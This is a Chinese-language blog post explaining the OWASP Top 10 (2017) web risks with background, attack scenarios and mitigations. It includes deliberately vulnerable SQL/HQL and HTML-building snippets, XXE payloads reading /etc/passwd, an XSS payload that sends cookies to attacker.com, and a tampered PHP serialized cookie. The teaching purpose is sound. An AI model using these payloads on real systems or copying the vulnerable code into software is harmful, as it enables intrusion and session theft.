OWASP TOP 10 - 2017 Part 2

目录

【OWASP TOP 10 - 2017 】Part 1 OWASP Top 10 - 2017 报告概览
【OWASP TOP 10 - 2017 】Part 2 OWASP Top 10 安全威胁深度了解

前言

上次我们介绍了OWASP组织、应用安全威胁相关内容、Top 10 风险内容，这次我们将会介绍 Top 10 安全威胁的常见攻击示例以及防范措施等内容，下面我们将按照 Top 1 - 10 的顺序依次展开 。

A1: 2017 Injection

1.产生背景

  • 应用未验证、过滤或净化用户来源数据
  • 网页解释器直接使用没有内容感知动态查询或不含参调用
  • 在 ORM 搜索参数包含恶意数据去抽取查询之外的、敏感数据
  • …

当应用程序容易被注入攻击时，源代码审查是最好的检测方法。

2.攻击示例

场景 #1

下面例子中，在SQL查询访问构造过程中使用了非可信数据:

1
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

场景 #2

类似的，应用对框架的盲目”信任“可能导致查询语句的脆弱(e.g Hibernate Query Language(HQL)):

1
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

3.防范措施

防范注入攻击需要把数据与命令、查询分离开，以下是常见防范措施:

  • 优先选择是使用更安全的 API
  • 可以在服务器端使用正向或“白名单”输入验证
  • 在查询中使用LIMIT 和其他 SQL 控制，防止 SQL 注入攻击
  • …

A2: 2017-Broken Authentication

1.产生背景

当应用出现以下情况会造成认证削弱:

  • 应用允许自动攻击，例如证书填充攻击 (攻击者拥有一系列的有效用户名和密码)
  • 应用使用脆弱的或无效的证书恢复机制或忘记密码流程，例如“基于问答的密码找回方式”
  • 使用明文，加密或若哈希的密码
  • …

2.攻击场景

场景 #1

证书填充——使用一系列已知密码——是一种常见的攻击手段。

场景 #2

大部分认证攻击攻击是由于单一机制的密码的使用造成的。

场景 #3

应用会话超时设置不正确。

3.防范措施

尽可能的采取多重认证机制，从而免于自动化、证书填充攻击和偷窃证书复用等攻击，具体措施如下:

  • 不使用任何默认证书传输或部署，尤其是管理员
  • 采用弱密码检查机制，例如测试新用户密码或修改后的密码是否属于 Top 10000 worst passwords
  • 限制或逐渐延缓失败登陆尝试
  • …

A3: 2017-Sensitive Data Exposure

1.产生背景

为了验证网络应用是否存在敏感数据暴漏漏斗，首先要做的是判定数据在传输和驻留阶段的保护级别需求。比如对于密码、信用卡账号、健康数据、个人信息和商业秘密需求额外的比如，尤其是数据被划归到隐私保护法规下面 （e.g. 欧盟通用数据保护监管法GDPR）等，对于这些数据，需要考虑：

  • 数据是否存在明文传输？这关系到如 HTTP，SMTP 和 FTP 协议
  • 敏感数据是否存在明文存储，包括备份数据
  • 代码中是否使用任何过时的或容易破解的密码算法？
  • …

2.攻击场景

场景 #1

数据库中的信用卡账号使自动数据库加密机制。这意味检索数据时信用卡数据会自动解密，这将造成 SQL 注入可以获取信用卡帐号的明文内容。

场景 #2

① 网站站点未使用或增强 TLS 加强安全保护 ② 站点仅支持易破解的加密机制。这时，攻击者通过监控网络流量，把网站协议从 HTTPS 降为 HTTP，捕获请求，然后窃取用户会话 cookie。接下来，攻击者可以使用这个 cookie ，劫持认证的会话 —— 获取或修改用户的隐私数据。

Cookie（复数形态Cookies），中文名称为“小型文字档案”或“小甜饼”[1]，指某些网站为了辨别用户身份而储存在用户本地终端（Client Side）上的数据（通常经过加密）via Wikipedia

场景 #3

存储密码的数据库使用未处理的或简单哈希存储每个人密码。一个简单的文件上传漏洞将使攻击者可以获取整个密码数据库。

3.防范措施

  • 对应用程序使用的数据进行分类：使用的、存储的或传输的
  • 上述数据分类时，使用控制机制
  • 非必要时，不使用敏感数据
  • …

A4: 2017-XML External Entities

1.产生背景

下列情况发生时，应用程序尤其是基于 XML 网络服务或下游集成容易受到攻击:

  • 应用程序直接接收 XML 或者 XML 上传，尤其是来自非信赖来源的 XML，或者是往 XML 文档中插入 非可信数据（XML 处理器负责解析）
  • 当应用程序或基于 SOAP 的网页服务 XML 处理启用 DTDs(document type definitions)时
  • 在需要联合安全和单点登录登陆时，应用程序使用 SAML 进行身份处理操作
  • …

安全断言标记语言（英语：Security Assertion Markup Language，简称SAML，发音sam-el）是一个基于XML的开源标准数据格式，它在当事方之间交换身份验证和授权数据，尤其是在身份提供者和服务提供者之间交换。 SAML是OASIS安全服务技术委员会的一个产品，始于2001年。 via Wikipedia

2.攻击场景

当下，已经发现了大量公开 XXE 问题，包括攻击嵌入式设备。XEE 攻击发生很多意想不到的地方，其中包括 deeply nested dependencies。

场景 #1

攻击者尝试从服务器端提取数据：

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ <!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

场景 #2

攻击者通过把 ENTITY所在行以上修改为：

1
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

场景 #3

攻击者通过包括潜在无结束文件方式发起服务拒绝攻击：

1
<!ENTITY xxe SYSTEM "file:///dev/random" >]>

3.防范措施

培训开发者是识别和减轻 XXE 攻击的有效方法，除此之外，预防还需要以下措施:

  • 尽可能使用相较不复杂的数据格式（e.g. JSON），并且避免序列化敏感数据
  • 给所有应用程序或潜在操作系统使用的 XML 处理器和库打补丁或升级操作
  • 在应用程序中，所有 XML 解析器禁用 XML 外部实体和 DTD 操作
  • …

A5: 2017-Broken Access Control

1.产生背景

访问控制实施一系列策略，例如用户不能进行超出授权范围之外的操作。访问控制失败通常意味着非授权信息披露、所有数据的修改或破话，甚至进行用户限制之外的商业操作。常见的访问控制漏洞造成原因包括：

  • 通过修改URL、内部应用状态或 HTML 页面，甚至单纯使用一个自定义 API 攻击工具的方式，攻击者可以绕过访问控制检查
  • 允许修改其他用户记录的主码，这会导致攻击者可以浏览或修改其他人的账号
  • 错误的 CORS 配置造成非授权 API 访问
  • …

2.攻击场景

场景 #1

应用程序使用访问账户信息的未经验证的 SQL 语句:

1
2
pstmt.setString(1, request.getParameter("acct")); 
ResultSet results = pstmt.executeQuery( );

攻击者单纯通过修改浏览器 acct 参数达到获取任何想要账号信息的目的。如果验证不当，攻击者（理论上）可以访问任意用户的账号信息（PS：细思极恐呀 ヽ(*。>Д<)o゜）。

场景 #2

攻击者迫使浏览器定位（特定的） URLs。例如，访问管理员页面需要管理员权限。

1
2
http://example.com/app/getappInfo 
http://example.com/app/admin_getappInfo

如果未经授权的用户可以访问任意页面，这是一种漏洞。再如果非管理员可以访问管理员页面，也是一个漏洞。

这里查找资料发现简单的网站后台登陆一般采用如下渠道：
www.site.com/admin
www.site.com/administrator
www.site.com/login
www.site.com/wp-login.php
www.site.com/admin.php

3.防范措施

为了防范访问控制机制破损，可以采取以下措施：

  • 除了公共资源之外，其他资源的访问设置成默认拒绝
  • 禁用网页服务器目录列表功能并且确保文件元数据（e.g. git）和备份文件没有显露在 web roots 目录下
  • 限制 API 和控制器访问频率，最小化招到自动攻击工具的损害
  • …

A6: 2017-Security Misconfiguration

1.产生背景

当应用程序出现下列情况时，应用程序容易受到攻击：

  • 应用程序栈的任意部分缺失合理安全加强配置或者云服务配置了不当的允许权限
  • 启用或安装了不需要的特性
  • 启用并且未修改默认账户和密码
  • …

2.攻击场景

场景 #1

服务器端没有禁用目录列表功能（directory listing）。在这种情况下，攻击者可以轻而易举的发现服务器目录。接着找到并下载编译好的 Java 类，从而通过逆向工程手段查看源代码。最后，攻击者就可以找到应用程序中存在的严重访问控制漏洞。

场景 #2

应用程序服务器配置允许返回用户详细的错误信息，例如栈追溯等。这有可能会暴露敏感信息或潜在漏洞（如已经存在漏洞的组建版本信息）。

场景 #3

云服务提供商（CSP，cloud service provider）默认开启了共享允许权限，其他 CSP 用户可以访问。这会导致（攻击者）可以读取存储在云存储中的敏感数据。

3.防范措施

应该实施包括以下措施在内的安全安装流程：

  • 一个可重复操作的（安全）加固流程可以加速整个进程，方便部署到其他合理锁住的环境
  • 打造一个最小化的平台，去除其他任何不需要的特性、组件、文档和示例。移除或不安装任何未使用的特性和框架

这里我突然想起以前使用 Visual Studio 的时候，每次写完一个程序文件，VS 都会自动提示存在哪些未使用的组件或框架，建议单击一键删除，我想原因不单单是我想的节省代码空间，更重要的是本条防范攻击措施所提到的移除或不安装任何未使用的特性和框架，最小化存在组件或框架配置不当造成安全漏洞的可能性。

  • 制定一个验证所有环境中配置和设置安全有效性的自动化流程
  • …

A7: 2017-Cross-Site Scripting (XSS)

1.产生背景

当下针对用户浏览器，有三种形式的 XSS 攻击：

  • 反射 XSS（Reflected XSS）
  • 存储 XSS（Stored XSS）
  • 文档对象模型 XSS（DOM XSS）

典型的 XSS 攻击包括会话偷窃、账户接管、MFA 忽略、DOM 节点替换或损坏以及针对用户浏览器的恶意软件下载、键盘记录或其他客户端攻击。

2.攻击场景

场景 #1

在以下 HTML 代码块构建过程中，应用程序未经验证就使用了非可信数据：

1
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻击者把浏览器的 ‘CC’ 参数修改为如下形式：

1
2
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

这种攻击可以导致受害者会话 ID（session ID）发送到攻击者网站，使得攻击者能够劫持用户的当前会话（current session）。

提示：攻击者可以使用 XSS 破坏任何可能部署的自动化跨站点请求伪造（CSRF）。

3.防范措施

防范 XSS 攻击者需要将非可信数据与活跃浏览器内容分离，措施包括：

  • 使用设计之初带有自动化 XSS 逃逸功能的框架，例如最新版的 Ruby on Rails，React JS
  • 基于 HTML 输出的上下文，逃避任何不受信任的 HTTP 请求数据可以解决反射和存储 XSS 漏洞
  • …

A8: 2017-Insecure Deserialization

1.产生背景

如果应用程序和 API 对攻击者发送的恶意或篡改后的对象进行反序列化操作，那么将会受到相应攻击，一般来说攻击主要有以下两种类型：

  • 当存在应用程序可用类能够在反序列化时或在反序列化之后改变行为的情况下，攻击者修改应用程序逻辑或实现任意远程代码执行的方式攻击相关对象或数据结构
  • 典型的数据篡改攻击，例如访问控制相关攻击（使用现有的但内容被改变的数据结构）

序列化可以用在应用的如下场景中：

  • 远程和内部进行通信（RPC/IPC）
  • 无限协议、网络服务、消息代理
  • 缓存/持久化
  • …

对于使用 Python 3.X 的小伙伴，官方文档明确提示：

Warning：The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source. （警告：永远不要对非可信来源或非认证来源数据进行反序列化操作）

2.攻击场景

场景 #1

React 应用访问一系列 Spring Boot 微服务。作为程序员，他们尝试确保代码不可更改。他们想出的方案时序列化用户状态并传递给每个前后请求。攻击者注意到 “R00” Java 对象签名，然后使用 Java 序列杀手（JAVA Serial Killer）工具在服务器端获得远程代码执行权限。

场景 #2

一个 PHP 论坛用户使用 PHP 对象序列化来保存 “super” cookie，这个cookie 包含有用户 ID、角色、密码哈希值和其他状态：

1
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

攻击者改变序列化对象是他们可以获得管理员权限：

1
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

3.防范措施

唯一安全架构模式——不接受来自非可信来源的序列化对象或者使用仅接受原始数据类型的序列化媒介。如果做不到这点，可以考虑以下措施：

  • 实施完整性检查，例如每个序列化对象的数字签名，防止恶意对象创建或数据篡改
  • 监测反序列化操作，如果用户经常反序列化就发送警报
  • 尽可能的在低权限的环境中隔离运行反序列化代码
  • …

A9: 2017-Using Components with Known Vulnerabilities

1.产生背景

如果出现以下情况，你的应用可能存在相关威胁风险：

  • 不了解所有组件的版本（包括客户端和服务器端）
  • 使用的软件有漏洞、不受安全支持或是过期的
  • 没有定期扫描漏洞，未订阅使用组件的安全公告
  • …

2.攻击场景

场景 #1

因为组件通常在运行时和应用程序有相同的权限，因此一旦任意组件存在漏洞就可以导致严重影响。这些漏洞可能时偶然出现的（例如编写代码错误）或是有意而为之（例如组件的“后门”）下面时已被发现的存在挖掘组件漏洞风险的例子：

  • CVE-2017-5638，Struts 2 远程代码执行漏洞可以导致服务器端任意代码的执行
  • 由于 IoT 设备很难甚至几乎不可能打补丁修复，修复它们的漏洞的重要性就可想而知了（例如生物医学设备）

当下，已有一些自动化工具可以帮助攻击者发现未打补丁或存在错误配置的系统。

3.防范措施

完备补丁管理流程：

  • 移除未使用的 dependencies 、不需要的特性、组件、文件和文档
  • 仅从安全链接获取官方版本的组件
  • 监测不再维护或不在更新老版本安全补丁的库和组件。
  • …

A10: 2017-Insufficient Logging & Monitoring

1.产生背景

不足日志记录、检测、监控和活跃响应可能发现在任何时间：

  • 未记录审计事件，例如登陆、失败登陆和高金额的交易
  • 警告和错误未生成、不充分或不清晰的日志消息
  • 应用程序和 API 日历没有监控可疑活动
  • …

如果你使得日志和警报事件对用户或攻击者可见，那么你存在信息泄露的风险。

2.攻击场景

场景 #1

由一小型团队运作的开源论文软件通过软件漏洞被黑了。攻击者清楚了包含下个版本信息的内部源代码库和所有的论坛内容。虽然可以恢复源代码，但缺乏监控、日志记录或入侵预警导致了更加严重的事故。这个事件的结果是论坛软件逐渐淡出人们视野，用户不再使用。

场景 #2

攻击者使用常见密码进行账号扫描。他们可以接管所有使用这个密码的账号。对于其他用户，这仅仅留下一个错误登陆记录。过了些天后，攻击者可能会使用不同的密码进行类似的操作。

评述：这个攻击场景中，日志监控系统未能发挥有效作用，识别恶意撞库攻击，采取响应措施，“纵容恶意攻击事件的再次发生”！

3.防范措施

对于应用程序存储数据获取处理数据中风险，需要采取以下措施加强防范：

  • 确保充分记录所有搜有登陆、访问控制失败和服务器端输入验证失败，并且配置足够的上下文信息，去识别可疑或恶意账号，维持充足的时间以备接下来的取证分析。
  • 确保日志生成格式可以被中央日志管理解决方案接受归并
  • 确保所有高金额交易有一个完整性控制审计记录，以防止记录篡改或删除
  • …

总结

本次我们介绍了 Top 10 安全威胁的常见攻击场景、攻击场景和防范措施等内容，通过这篇文章可以对 OWASP Top 10 - 2017 十大最严重网络应用安全威胁的产生背景、攻击场景、如何做好防范措施有个大致的了解 ~

推荐阅读：这里附上 OWASP Top 10 - 2017 报告中英文版链接，但还是建议大家首选英文版阅读，或者中英文对照阅读，个人阅读中文版发现其中有一些地方翻译欠妥，容易造成理解困难 ~

  1. OWASP Top 10 - 2017 报告英文版
  2. OWASP Top 10 - 2017 报告中文版
技术
#OWASP #安全风险 #报告
OWASP TOP 10 - 2017 Part 2
https://github.com/zhililab/2018/04/18/OWASP-Top10-2017-Part2/
作者
[object Object]
发布于
2018年4月18日
许可协议